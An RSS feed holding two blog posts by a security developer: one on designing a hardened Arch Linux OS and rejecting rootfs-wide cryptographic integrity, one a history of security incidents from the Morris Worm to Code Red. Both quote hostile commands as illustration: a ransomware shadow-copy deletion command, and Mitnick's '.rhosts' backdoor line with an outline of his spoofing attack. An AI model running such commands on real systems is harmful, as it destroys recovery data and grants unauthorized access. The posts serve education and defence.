<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tetsuharu Fujiki</title>
    <description>The latest articles on DEV Community by Tetsuharu Fujiki (@lafine_systemsdesign).</description>
    <link>https://dev.to/lafine_systemsdesign</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4098713%2F3732d37d-b6ac-4cb4-9fee-4119257a2bdb.jpg</url>
      <title>DEV Community: Tetsuharu Fujiki</title>
      <link>https://dev.to/lafine_systemsdesign</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/lafine_systemsdesign"/>
    <language>en</language>
    <item>
      <title>Building a hardened personal Linux OS with only proven tools, and why I ultimately abandoned cryptographic rootfs protection</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Mon, 14 Sep 2026 10:36:38 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/building-a-hardened-personal-linux-os-with-only-proven-tools-and-why-i-ultimately-abandoned-458h</link>
      <guid>https://dev.to/lafine_systemsdesign/building-a-hardened-personal-linux-os-with-only-proven-tools-and-why-i-ultimately-abandoned-458h</guid>
      <description>&lt;p&gt;I build a defensive security app for Linux called &lt;a href="https://lafine.net/linux.html" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt; as an independent developer. Lately I've been going a step further and building a hardened Linux OS from scratch, RoamSwitch OS. This post pulls together two things I wrote about it separately in Japanese, &lt;a href="https://note.com/lafine/n/nf47b95363074" rel="noopener noreferrer"&gt;why I'm building a secure OS of my own&lt;/a&gt; and &lt;a href="https://note.com/lafine/n/n8b722c833813" rel="noopener noreferrer"&gt;the real reason I couldn't protect rootfs cryptographically&lt;/a&gt;, and digs a bit deeper into the technical side.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why build an OS instead of just an app
&lt;/h2&gt;

&lt;p&gt;RoamSwitch runs on top of whatever OS is already there. It handles firewall control, port monitoring, ransomware detection, and so on, but as a userland application it can only go so far. Misconfigurations baked into the OS itself, or weak defaults at the kernel level, are out of its reach no matter how well it's built.&lt;/p&gt;

&lt;p&gt;So I started RoamSwitch OS out of curiosity about what changes if hardening gets built in from the OS layer down, instead of bolted on afterward. It's early days still, nowhere near ready for anyone but me to run. The base is Arch Linux, packaged as a bootable live/installer ISO via archiso. I'm not building a distro from scratch. The plan is to layer hardening on top of a normal Arch install, using tools that already have years of track record behind them: AppArmor, fapolicyd, auditd, Falco/Tetragon, Landlock, AIDE, TPM2.&lt;/p&gt;

&lt;p&gt;One direction I ruled out early was an immutable, image-based OS along the lines of Fedora Silverblue or ChromeOS. Going that route means treating the whole OS as a single image and swapping it wholesale on every update, which is a completely different (and much larger) engineering and operations problem than what I signed up for. The governing principle stayed simple: don't reinvent tools that already work, build on Arch's rolling package ecosystem and existing driver support rather than around them.&lt;/p&gt;

&lt;p&gt;The implementation is a Rust workspace with roughly 39 crates under &lt;code&gt;hardening/&lt;/code&gt;, each one producing a binary for a specific defensive feature. That's not the same thing as "a pile of CLI tools you run by hand," though. Most of the watcher-style crates ship as systemd services (&lt;code&gt;Type=simple&lt;/code&gt;, &lt;code&gt;Restart=on-failure&lt;/code&gt;) that start at boot and just keep running. The ones that only need to run occasionally, like firmware checks, compliance scans, or patch status, ride on &lt;code&gt;.timer&lt;/code&gt; units instead. There's no single daemon sitting on top coordinating everything, but the modules aren't isolated either: they talk to each other through shared state under &lt;code&gt;/var/lib/roamswitch/&lt;/code&gt;, including a unified incident timeline I'll get into below. Phases 1 through 4 and Phase 6 are verified on real hardware and in QEMU. It's still a research and showcase project rather than something with a production track record, third-party pentest, or legal review behind it, so I'm not recommending it for production use yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's already built
&lt;/h2&gt;

&lt;p&gt;A few of the pieces worth naming.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;forensic-sweep&lt;/strong&gt; watches the usual persistence surfaces: cron, systemd user units, shell rc files, udev rules, PAM config. It flags new persistence, &lt;code&gt;/etc/ld.so.preload&lt;/code&gt; hijacking, and fileless execution via &lt;code&gt;memfd_create&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;honeytokens&lt;/strong&gt; plants fake credential files and decoy SSH/HTTP/SMB listeners that no legitimate process should ever touch. It goes further than just dropping bait files: it fingerprints connecting decoy clients with JA3/JA3S, runs adaptive decoys that change behavior over time, and even drops beacon-carrying &lt;code&gt;.docx&lt;/code&gt; documents as canary tokens.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;fapolicyd-mgr&lt;/strong&gt; is the application-allowlisting layer, using pacman-managed file hashes as the trust anchor. This ends up mattering more than it sounds, since it's the practical substitute for what IMA appraisal would have covered, which I'll get to.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;exfil-guard&lt;/strong&gt; correlates bursts of access to sensitive files with new outbound network connections or large USB writes, tracking actual byte counts through netlink's &lt;code&gt;INET_DIAG&lt;/code&gt;/&lt;code&gt;tcp_info&lt;/code&gt;. It also ships a DLP classifier with a real Luhn checksum for card numbers, Japan's My Number check-digit algorithm, and Shannon-entropy-based secret detection.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;mitm-guard&lt;/strong&gt; detects ARP cache poisoning (implemented from scratch after finding that bettercap's own gateway-exclusion logic is structurally blind to ARP spoofing) and DHCP spoofing, using a sandboxed, passive-only bettercap child process.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;privacy-guard&lt;/strong&gt; wraps &lt;code&gt;mac-randomize&lt;/code&gt; (a &lt;code&gt;macchanger -r&lt;/code&gt; wrapper), &lt;code&gt;dns-check&lt;/code&gt; (loopback vs. plaintext resolver), and a &lt;code&gt;tor-mode&lt;/code&gt; with a fail-closed nftables kill switch.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;wireless-guard&lt;/strong&gt; covers Wi-Fi evil-twin detection (diffing against an &lt;code&gt;airodump-ng&lt;/code&gt; baseline) and Bluetooth proximity scanning.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ransomware-rollback&lt;/strong&gt; watches for rename/rewrite bursts, unfamiliar extensions, and entropy spikes via inotify, and takes an automatic btrfs/LVM snapshot when it sees them.&lt;/p&gt;

&lt;p&gt;That cross-module reaction is worth spelling out, because it's a concrete answer to "how does this actually connect together." About 17 modules (exfil-guard, mitm-guard, honeytokens, forensic-sweep, and others) append events to a shared file, &lt;code&gt;/var/lib/roamswitch/os_hardening_incident_timeline.json&lt;/code&gt;, through a common library called &lt;code&gt;os-timeline&lt;/code&gt;. That file is the unified incident timeline. ransomware-rollback runs a dedicated background thread, &lt;code&gt;ExternalTimelineWatcher&lt;/code&gt;, that polls this file and triggers its own snapshot routine the moment it sees a &lt;code&gt;Critical&lt;/code&gt;-severity event written by any other module. To avoid triggering on its own writes, it tags its own entries and filters them out, and it shares a cooldown lock with its native detection path so the two don't double-fire. It's a plain shared file and polling, not a message bus, but it's tested and deliberate rather than an accidental side effect of similar-looking features.&lt;/p&gt;

&lt;p&gt;All of this comes with matching AppArmor enforce profiles and verification runs across real hardware, Docker, and QEMU. There are also things I've deliberately left out: per-file cryptographic tamper checks, automatic anonymizing-network switching, automatic password-strength enforcement (it stays advisory). The cryptographic tamper check is the one I want to walk through in detail, because it wasn't a matter of running out of time. I looked into it and turned it down on purpose.&lt;/p&gt;

&lt;h2&gt;
  
  
  What ransomware is actually doing
&lt;/h2&gt;

&lt;p&gt;Before getting into rootfs integrity, it's worth being precise about what we're actually defending against.&lt;/p&gt;

&lt;p&gt;Most ransomware encrypts files with a hybrid scheme. A fast symmetric cipher, AES or ChaCha, encrypts the file contents themselves. That symmetric key then gets wrapped in the attacker's public key, usually RSA-2048 or RSA-4096. The only way to unwrap that key is with the attacker's private key, which they never expose. However hard the victim tries, recovery is impossible without that private key surfacing somewhere. This is also why decryption tools like Japan's National Police Agency's &lt;a href="https://www.npa.go.jp/bureau/cyber/countermeasures/ransom/phobos.html" rel="noopener noreferrer"&gt;decryptor for the Phobos ransomware family&lt;/a&gt; only work against specific variants: they only exist because investigators managed to recover that particular attacker's private key.&lt;/p&gt;

&lt;p&gt;A trickier development is intermittent encryption. Instead of encrypting an entire file, the malware touches just the first and last few kilobytes, or a handful of randomly chosen blocks. That's still enough to break the file's headers and structure so it's unusable, but it's a fraction of the work, runs faster, and doesn't push the file's overall entropy up nearly as much. It's specifically shaped to slip past the classic "entropy spiked, must be encryption" detection approach. Campaigns combining AES-CTR with RSA-4096 in this intermittent style have been seen hitting Windows, Linux, and ESXi targets in the same run.&lt;/p&gt;

&lt;p&gt;There's also a step that happens before the encryption itself: wrecking recovery options. A lot of ransomware deletes shadow copies or snapshots before it starts encrypting. On Windows that's &lt;code&gt;vssadmin.exe Delete Shadows /all /quiet&lt;/code&gt;; on ESXi it goes through &lt;code&gt;esxcli&lt;/code&gt; to shut down running VMs and clear local snapshots first. Having backups isn't the whole story if the attacker gets to them before you do.&lt;/p&gt;

&lt;h2&gt;
  
  
  Two candidates for cryptographic verification
&lt;/h2&gt;

&lt;p&gt;Given an opponent like that, being able to cryptographically confirm a file hasn't been tampered with sounds like exactly the tool you'd want. Linux has two mechanisms that get close: dm-verity and IMA (Integrity Measurement Architecture) appraisal.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;dm-verity&lt;/strong&gt; works at the block-device level. It checks data against a Merkle tree and returns an I/O error the moment it detects tampering on read. The catch is that it assumes the underlying block device never changes, which fits something like Android's &lt;code&gt;/system&lt;/code&gt; partition, written once and never touched again, but doesn't work for anything that changes regularly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;IMA appraisal&lt;/strong&gt; works per-file. It stores a signed hash in a security extended attribute (&lt;code&gt;security.ima&lt;/code&gt;), and the kernel verifies it on access. Re-sign the file whenever it legitimately changes, and it can, in principle, handle a system that updates regularly.&lt;/p&gt;

&lt;p&gt;IMA appraisal looked like the more promising option going in. Arch's &lt;code&gt;pacman&lt;/code&gt; supports hooks that run at install/update time, and I figured those hooks could re-sign files automatically on every package update.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why dm-verity was out
&lt;/h2&gt;

&lt;p&gt;dm-verity didn't need an experiment to rule out. It was a structural mismatch from the start.&lt;/p&gt;

&lt;p&gt;RoamSwitch OS is built on the premise of composing existing, proven security tools rather than building an immutable image-based OS. dm-verity needs the rootfs packaged as a single image, a new image and Merkle tree regenerated on every package update, and the bootloader repointed at the new image (typically via an A/B partition scheme). That's effectively rebuilding a Fedora Silverblue or ChromeOS-style immutable OS from scratch, which flatly contradicts the starting design. Arch pushes package updates multiple times a week, so redoing that image-build cycle constantly would also be an unreasonable cost on its own.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why IMA appraisal was out too
&lt;/h2&gt;

&lt;p&gt;IMA appraisal I actually tested.&lt;/p&gt;

&lt;p&gt;I spun up a Docker container on Arch Linux and inspected the shipped kernel configs for both the &lt;code&gt;linux&lt;/code&gt; package (the standard kernel) and &lt;code&gt;linux-hardened&lt;/code&gt; (the security-hardened one) directly. The result was the same for both:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;linux&lt;/code&gt;: &lt;code&gt;# CONFIG_IMA is not set&lt;/code&gt;. Related options like &lt;code&gt;CONFIG_IMA_APPRAISE&lt;/code&gt; don't even show up in the config.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;linux-hardened&lt;/code&gt;: same thing, &lt;code&gt;# CONFIG_IMA is not set&lt;/code&gt;. The kernel that markets itself as the hardened option doesn't have IMA turned on either.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The supporting infrastructure was there: &lt;code&gt;CONFIG_INTEGRITY&lt;/code&gt;, &lt;code&gt;CONFIG_INTEGRITY_SIGNATURE&lt;/code&gt;, &lt;code&gt;CONFIG_SYSTEM_TRUSTED_KEYRING&lt;/code&gt;, &lt;code&gt;CONFIG_DM_VERITY&lt;/code&gt; were all enabled. The groundwork for IMA appraisal exists. IMA itself was just switched off, in both kernels.&lt;/p&gt;

&lt;p&gt;Once that was confirmed, the only path to enabling it is dropping Arch's official kernel package and building and maintaining a custom one indefinitely. That's a direct contradiction of the "compose existing proven tools, don't reinvent them" principle the whole project runs on, and it's really a different, much larger project: building and maintaining your own Linux distribution.&lt;/p&gt;

&lt;p&gt;As of September 12, 2026, both results together led to a documented decision not to implement this under the project's current constraints, with an explicit note to revisit it if Arch's official kernel ever turns IMA on, or if the project decides to maintain its own kernel build and signing pipeline for some future fully OS-integrated edition. For the practical threat this would have addressed, unauthorized or tampered binaries executing, the already-implemented &lt;code&gt;fapolicyd-mgr&lt;/code&gt; (application allowlisting rooted in pacman's own file hashes) covers a realistic chunk of that ground without touching the kernel at all.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cryptographic guarantees, scoped narrowly
&lt;/h2&gt;

&lt;p&gt;None of this means cryptographic integrity got abandoned everywhere. Scoped down, it's still in use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;AIDE&lt;/strong&gt; (Advanced Intrusion Detection Environment) is a proper file-hash-based FIM tool, but it isn't pointed at the whole filesystem. It's deliberately scoped to &lt;code&gt;/etc&lt;/code&gt;, &lt;code&gt;/usr/bin&lt;/code&gt;, &lt;code&gt;/usr/sbin&lt;/code&gt;, and &lt;code&gt;/usr/lib/systemd&lt;/code&gt;. The reason is simply time: that scope finishes in 1 to 15 seconds in measurement, versus 2 minutes 33 seconds for a much broader one. It's positioned as detection, not prevention, and the documentation is upfront about the residual gap: a fully-rooted attacker can tamper with AIDE's own baseline database or binary and hide the evidence from the next check.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;timeline-seal&lt;/strong&gt; uses TPM2, a security chip physically separate from the CPU and disk, to chain-sign the incident timeline's JSON log with a Merkle-style hash chain. This one gives genuine cryptographic tamper-evidence, but only over that single log. Its own documented limits are candid too: an attacker can silently stop the timeline instead of editing it, can crowd out old entries via the 200-entry cap, and can re-mint a signing key and forge a new history under root unless the public key is pinned somewhere off the box.&lt;/p&gt;

&lt;p&gt;Put side by side, the pattern is consistent: detect broadly with hashing (AIDE), and reserve genuine cryptographic tamper-evidence for something narrow (a single log, via TPM2). Nowhere does the design ask for cryptographic tamper-resistance across the whole rootfs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually stops ransomware
&lt;/h2&gt;

&lt;p&gt;For the kind of ransomware targeting a person's own files, what's actually doing the work isn't cryptographic integrity checking. It's behavior.&lt;/p&gt;

&lt;p&gt;honeytokens catches the moment a decoy file that no legitimate process would ever touch gets hit. ransomware-rollback triggers a snapshot the instant a rename/rewrite burst, unfamiliar extensions, and an entropy spike show up together. exfil-guard catches the "steal first, encrypt second" double-extortion pattern before the encryption step even starts.&lt;/p&gt;

&lt;p&gt;What makes these hold up against intermittent encryption specifically is that they don't depend on entropy at all. However low an attacker keeps a file's entropy, touching a large number of files in a short window is not something they can hide. A honeytoken doesn't care what encryption algorithm was used against it, only whether it was touched. A cryptographic hash check can only tell you a file changed, never why. Telling a legitimate save apart from an attack in progress needs behavioral information: what got touched, how fast, and in what pattern.&lt;/p&gt;

&lt;h2&gt;
  
  
  Tools that prevent, and tools that notice and roll back
&lt;/h2&gt;

&lt;p&gt;RoamSwitch OS holds itself to a specific constraint: build on an existing distribution (Arch) and existing, proven security tools rather than maintaining a from-scratch kernel or distro. That constraint collided head-on with the idea of protecting the whole rootfs cryptographically. dm-verity assumes an immutable block device, which means building a different kind of OS entirely. IMA appraisal was disabled at the kernel level on both the standard and the hardened Arch kernel, and fixing that means maintaining an entire custom kernel indefinitely.&lt;/p&gt;

&lt;p&gt;So cryptographic integrity checking stays reserved for things that are genuinely not supposed to change, package-managed binaries, a single append-only log, while everyday user data that changes constantly gets watched for suspicious behavior and rolled back automatically the moment something looks wrong. Tools that prevent and tools that notice-and-recover are answering different questions, because what they're protecting has fundamentally different properties. That's the part that took longer to land on than I expected, and I'm glad I worked through it rather than reaching for the strongest-sounding option by default.&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>rust</category>
      <category>kernel</category>
    </item>
    <item>
      <title>VAX, TCP/IP, and Thirty Years of the Same Trust Problem</title>
      <dc:creator>Tetsuharu Fujiki</dc:creator>
      <pubDate>Thu, 10 Sep 2026 14:13:24 +0000</pubDate>
      <link>https://dev.to/lafine_systemsdesign/vax-tcpip-and-thirty-years-of-the-same-trust-problem-3dba</link>
      <guid>https://dev.to/lafine_systemsdesign/vax-tcpip-and-thirty-years-of-the-same-trust-problem-3dba</guid>
      <description>&lt;p&gt;&lt;em&gt;A Japanese version of this is &lt;a href="https://note.com/lafine/n/n448d8bdedc21" rel="noopener noreferrer"&gt;on Note&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;I build &lt;a href="https://lafine.net/" rel="noopener noreferrer"&gt;RoamSwitch&lt;/a&gt;, a network security app for Mac and Linux, on my own. Maybe it's this line of work, but every time I write about AI agents automating cyberattacks, I keep thinking back to 1992, the year I entered this industry. What I was looking at then and what I'm looking at now are supposedly different technologies entirely, yet they keep feeling like the same shape to me. Worth actually writing that down properly, checking memory against real technical history rather than just vibes.&lt;/p&gt;

&lt;h2&gt;
  
  
  When VAX/VMS and HP-UX Shared the Same Room
&lt;/h2&gt;

&lt;p&gt;In 1992 I worked for a large US computer company's Japan office. The machine in front of me was a VAX running VMS. Across the room, another terminal ran HP-UX. Something as basic as password protection had already walked two completely separate histories by then, and I noticed it constantly.&lt;/p&gt;

&lt;p&gt;VMS password protection in its first version, 1978, used a 32-bit hash built on an AUTODIN-II CRC (cyclic redundancy check). CRCs were designed to catch transmission errors, not resist deliberate tampering, so this was less a vulnerability than a case of using the wrong tool for the job. The words "penetration" and "prepituitary" happen to collide at the same CRC32 value, 0xBF6A229E. DEC finally moved to a Purdy-polynomial-based algorithm in version 2, 1980.&lt;/p&gt;

&lt;p&gt;HP-UX used a DES-based hash through &lt;code&gt;crypt(3)&lt;/code&gt;, a 12-bit salt run through 25 rounds of DES, clever for the time, but the password itself was only meaningfully used up to 8 characters, weak against dictionary attacks from day one. Steal &lt;code&gt;/etc/passwd&lt;/code&gt; and run it through a cracking tool, and you'd have a few passwords within the hour, that was the common understanding back then. Shadow files were a patch, not a fix.&lt;/p&gt;

&lt;p&gt;HP-UX had another weakness, the "trusted host" mechanism built on &lt;code&gt;rlogin&lt;/code&gt; and &lt;code&gt;.rhosts&lt;/code&gt;/&lt;code&gt;hosts.equiv&lt;/code&gt;. HP-UX 9.0, released that same July 1992, predated its full move to System V (SVR4) and still carried a strong BSD flavor, &lt;code&gt;rlogin&lt;/code&gt; was one of those native BSD features. Log in without a password from a trusted host, purely for convenience, and the moment your DNS or network path got hijacked, that convenience became the door in. Deciding trust based on a hostname, a value anyone could spoof, was the core problem.&lt;/p&gt;

&lt;h2&gt;
  
  
  TCP/IP Was Never Designed With Security In Mind
&lt;/h2&gt;

&lt;p&gt;Go deeper and the foundation under most of this, TCP/IP itself, was never designed with security in mind either. Vint Cerf and Robert Kahn's 1974 design existed to interconnect networks of fundamentally different character, ARPANET, packet radio, satellite networks. The whole thing was built on the assumption that participants were a mutually trusting research community. Authentication and encryption appear nowhere in the protocol stack. ARPANET's full cutover to this TCP/IP came nine years later, January 1, 1983, a coordinated one-day switchover from the old protocol (NCP) that everyone just calls "flag day."&lt;/p&gt;

&lt;p&gt;Worth a note here. The VAX I touched in 1992 didn't actually speak this TCP/IP natively. VMS's native networking protocol was DEC's own DECnet, and using TCP/IP meant bolting on a third-party product, companies like The Wollongong Group had been selling those since late 1983. HP-UX, meanwhile, had TCP/IP built in natively since 4.2BSD, 1983. Two different networking philosophies sharing the same room, one proprietary and one TCP/IP, stitched together after the fact so they could talk to each other. That structure kept repeating for decades after.&lt;/p&gt;

&lt;p&gt;The person who first documented this structural weakness, in a fittingly ironic way, was Robert Morris Sr. A cryptographer at Bell Labs, he published "A Weakness in the 4.2BSD UNIX TCP/IP Software" in 1985, showing that because TCP sequence numbers were predictable, an attacker could impersonate a trusted host without ever receiving a single response packet. He left Bell Labs the following year to become chief scientist at the NSA's National Computer Security Center, helping produce the official evaluation criteria for computer security, the Rainbow Series.&lt;/p&gt;

&lt;p&gt;Then, the night of November 2, 1988, his son Robert Tappan Morris (a Cornell grad student at the time) released what would become known as the Morris Worm from MIT's network. The worm's own methods were a different lineage from the father's paper. Four vectors, chained together. One, abusing sendmail's DEBUG mode, meant for debugging, which let part of a mail message get executed as a command directly. Two, a buffer overflow in fingerd. A fixed-length buffer, written to unchecked via &lt;code&gt;gets()&lt;/code&gt;, exploited to overwrite the stack's return address and run arbitrary shellcode. That's the same "stack smashing" technique Aleph One would formalize eight years later, already in live use here. Three, the same &lt;code&gt;.rhosts&lt;/code&gt;/&lt;code&gt;hosts.equiv&lt;/code&gt; trust abuse. Four, a simple brute-force password guess using a dictionary of a few hundred words plus username variations.&lt;/p&gt;

&lt;p&gt;Morris's own design mistake is baked into this worm too. To make reinfection hard to detect, it allowed itself to reinfect an already-infected host with some probability, one in seven. That probability turned out to be set too high, and dozens of infection processes piled up on a single machine, chewing through CPU and memory until the host stopped functioning. Not malice, the attacker's own miscalculation multiplied the damage, a pattern that would repeat in worm outbreaks for years afterward. In the end, roughly 6,000 systems, about a tenth of the internet at the time, were affected. This incident is what drove DARPA to establish CERT/CC (Computer Emergency Response Team Coordination Center) at Carnegie Mellon, effectively founding "computer security incident response" as its own discipline. The trial produced the first felony conviction under the 1986 Computer Fraud and Abuse Act (CFAA).&lt;/p&gt;

&lt;p&gt;A father points out the theoretical fragility of a trust model, a son goes and breaks essentially that same trust model (different shape, same idea) for real. This is, to me, the single most emblematic story of that era, less a technical vulnerability than the field of computer security itself emerging out of what feels like a family conversation.&lt;/p&gt;

&lt;p&gt;There was already an official yardstick in the VAX/VMS world too, by the way. TCSEC, the Orange Book, drawn up in 1983 by the NCSC (National Computer Security Center, part of the NSA, the same place Robert Morris Sr. later moved to), intended for the Department of Defense. It graded systems from D (lowest) to A1 (highest), and that grade drove product selection in government procurement. A serious attempt at quantifying trust, but the thing being evaluated was always a single, standalone system, the idea of being attacked over a network by a different system wasn't yet front and center in how the criteria were designed. What the Morris Worm exploited was precisely that gap, each system had been graded seriously on its own, but nobody had graded what happened once they were wired together.&lt;/p&gt;

&lt;h2&gt;
  
  
  PGP and the First Crypto War
&lt;/h2&gt;

&lt;p&gt;In 1991, Phil Zimmermann released PGP (Pretty Good Privacy) for free. Letting anyone protect their email with strong encryption sounds obviously fine, but at the time it was potentially a violation of US arms export regulations (ITAR). Zimmermann himself became the subject of a DOJ investigation.&lt;/p&gt;

&lt;p&gt;That conflict reached its peak in 1993 when the Clinton administration proposed the Clipper Chip. An encryption chip meant for standard inclusion in phones and similar consumer devices, built with "key escrow" so the government held a copy of every chip's key. Law enforcement wanted to decrypt with a warrant. The public wanted the right to use strong encryption freely. The Clipper Chip itself never caught on in the end, helped along by opposition from groups like the Electronic Frontier Foundation, but the underlying question, how much cryptographic strength should ordinary people be allowed, kept resurfacing in new forms for years after. I was only a few years into the industry at the time, and honestly had no real sense of how large a fight this would stay.&lt;/p&gt;

&lt;h2&gt;
  
  
  1995, Mitnick and SATAN
&lt;/h2&gt;

&lt;p&gt;A few years into my career, 1995 turned out to be a big year in two separate ways.&lt;/p&gt;

&lt;p&gt;One was Kevin Mitnick's arrest in North Carolina on February 15. It traces back to the previous Christmas, 1994, when he broke into the machines of Tsutomu Shimomura (then at the San Diego Supercomputer Center). Tracing the intrusion technique later, I remember reading it over and over just for the sheer audacity of completing authentication without ever receiving a single response packet.&lt;/p&gt;

&lt;p&gt;Here's the actual sequence. Mitnick first used reconnaissance commands, &lt;code&gt;finger&lt;/code&gt;, &lt;code&gt;showmount&lt;/code&gt;, &lt;code&gt;rpcinfo&lt;/code&gt;, to establish that an &lt;code&gt;rlogin&lt;/code&gt;-based trust relationship existed between an X terminal and a server in Shimomura's environment. He then neutralized that server itself, flooding it with SYN packets spoofed from real but unresponsive source addresses. What we'd now just call a SYN flood, filling it with half-open connections until it went silent. With the server muted, he predicted the TCP sequence number it would have issued to a legitimate client by sending it a series of separate SYN packets and watching how it behaved. Then he spoofed the server's IP to the X terminal and completed the three-way handshake without ever receiving a single response packet. The one command sent over that connection, impersonating root, was &lt;code&gt;echo + + &amp;gt;&amp;gt; /.rhosts&lt;/code&gt;. That's it. Root from any host on earth now had unconditional login to that X terminal.&lt;/p&gt;

&lt;p&gt;This is regarded as the first real-world use of the TCP sequence number prediction attack Robert Morris Sr. described as theory in his 1985 paper. Nine years later, the attack technique from that paper got executed as an actual intrusion. Shimomura tracked Mitnick down himself using sophisticated network monitoring techniques, eventually leading to the FBI arrest. It was widely covered at the time as the turning point where the era of lone hackers repeatedly outmaneuvering national agencies gave way to individuals being run down by expert technical skill, I remember it being big news.&lt;/p&gt;

&lt;p&gt;The other was Dan Farmer and Wietse Venema's free release of SATAN (Security Administrator Tool for Analyzing Networks) about two months later, April 5. A scanner for surfacing known vulnerabilities across a network, it's the direct ancestor of what we'd now call a vulnerability scanner. Built as a defensive diagnostic tool, but one of the earliest examples of the industry broadly recognizing that the same tool doubles as reconnaissance for an attack, "dual-use" in a way that raised enough alarm to draw threatening noises from the Department of Justice. The industry hadn't yet gotten used to defense and offense sharing the same code, a structure that's completely unremarkable today.&lt;/p&gt;

&lt;p&gt;Japan was building out its own equivalent infrastructure around the same time. What had been volunteer-run incident response activity since roughly 1992 formally became "JPCERT/CC" (Computer Emergency Response Team Coordination Center) in October 1996, eight years behind the US's CERT/CC, founded in response to the Morris Worm. At my own employer, though, the idea of actually contacting an incident response body when something happened hadn't really taken root yet, the instinct was still to absorb the problem locally and handle it in-house.&lt;/p&gt;

&lt;h2&gt;
  
  
  Weakened Crypto Got Broken Anyway
&lt;/h2&gt;

&lt;p&gt;In 1994, Netscape built encrypted communication (SSL 2.0) into its browser and published the spec that November, the same year. The pitch was safely exchanging credit card numbers over the web, groundbreaking at the time. Export policy cast a shadow here too, though, versions sold outside the US were restricted to a weakened 40-bit "export grade" cipher.&lt;/p&gt;

&lt;p&gt;That restriction became a real problem faster than expected. In August 1995, researchers in France, Sweden, and the UK independently ran workstation clusters for eight straight days and brute-forced their way through that 40-bit RC4. Worse followed in January 1996. Ian Goldberg and David Wagner, then UC Berkeley grad students, found a flaw in Netscape's own random number generation. It seeded from predictable values like process ID and system time, narrowing the key space so dramatically that a single ordinary desktop could recover the key in seconds to minutes. Weaken the strength by policy, and implementation sloppiness stacks right on top of it, breaking things even faster than the theoretical weakness alone would predict. Export controls ended up doing the opposite of raising the floor on encryption strength. They just weakened the browser the honest users were running.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Day Stack Overflows Became Public Knowledge
&lt;/h2&gt;

&lt;p&gt;In November 1996, Phrack issue 49 carried Aleph One's (real name Elias Levy) "Smashing the Stack for Fun and Profit," the first systematic, general-audience explanation of overflowing a stack buffer to overwrite the return address and execute arbitrary code.&lt;/p&gt;

&lt;p&gt;Reading this paper left me with mixed feelings, because the technique itself wasn't new. The fingerd attack the Morris Worm used in 1988 was, in principle, the exact same stack smashing. A technique understood only by a handful of researchers and a small number of attackers became, with this paper, public knowledge anyone could read and reproduce. Whatever the ethics of that, buffer-overflow-driven worms and intrusions surged for years after this paper's publication. Code Red in 2001 and SQL Slammer and Blaster in 2003 trace back, at the root, to this same class of vulnerability. Widely shared knowledge raises the defensive floor and widens the attacker's base at the same time. I got that double edge driven home repeatedly over my first several years in the industry.&lt;/p&gt;

&lt;h2&gt;
  
  
  From a Foreign Computer Company to a Japanese Manufacturer, Melissa to Log4Shell
&lt;/h2&gt;

&lt;p&gt;I stayed at that US computer company until roughly 1997, right as the internet was properly entering the corporate world, and it was around then that I first felt, viscerally, the fear of work that used to live entirely inside the internal network suddenly connecting directly to the outside world. After that I moved to the internal systems department of a large Japanese electronics manufacturer, taking on a much wider range of internal servers. IIS servers were only one slice of that, and the roughly 50 that would later get thrown around by Code Red were just one corner of it.&lt;/p&gt;

&lt;p&gt;Worth being honest here, my own technical grounding grew up on the VAX/VMS and HP-UX side, I never went deep on Windows. And yet a good chunk of what's coming next (Outlook macros, IIS buffer overflows, Windows network services) happens squarely on the Windows side. I spent a lot of this period chasing down failures on an OS I wasn't native to, learning it on the fly under pressure.&lt;/p&gt;

&lt;p&gt;Melissa in 1999 hit not long after I'd started at the manufacturer. A macro virus that read the Outlook address book and forwarded itself, it brought the internal mail servers to their knees overnight. I remember manually distributing antivirus definition updates by hand, and getting it drilled into me, not intellectually but through the sheer chaos on the ground, that security isn't just the IT department's problem, it's directly tied to the behavior of every single employee who touches email.&lt;/p&gt;

&lt;p&gt;A little before that, February 2000, Japan enacted its own "Act on the Prohibition of Unauthorized Computer Access." Before that, Japan had no law directly punishing unauthorized access itself (misusing an ID or password) without concrete resulting damage, there was a real sense of being powerless to act until harm had actually materialized. Fourteen years behind the US, which already had the CFAA in 1986, the country finally had a legal foothold.&lt;/p&gt;

&lt;p&gt;Code Red in 2001 was a large-scale worm exploiting an already-disclosed IIS buffer overflow, and our IIS servers were hit across the board. The patch had existed for nearly a month before real damage occurred, the same shape you still see in CVE response today, and I felt it firsthand here for the first time. By then, "applying patches" was already becoming a dedicated job rather than something squeezed in on the side. By the time SQL Slammer and Blaster hit in 2003, firewalls and antivirus had gone from "nice to have" to "non-negotiable," and my own work had shifted from individual trouble tickets to designing the company's entire network perimeter.&lt;/p&gt;

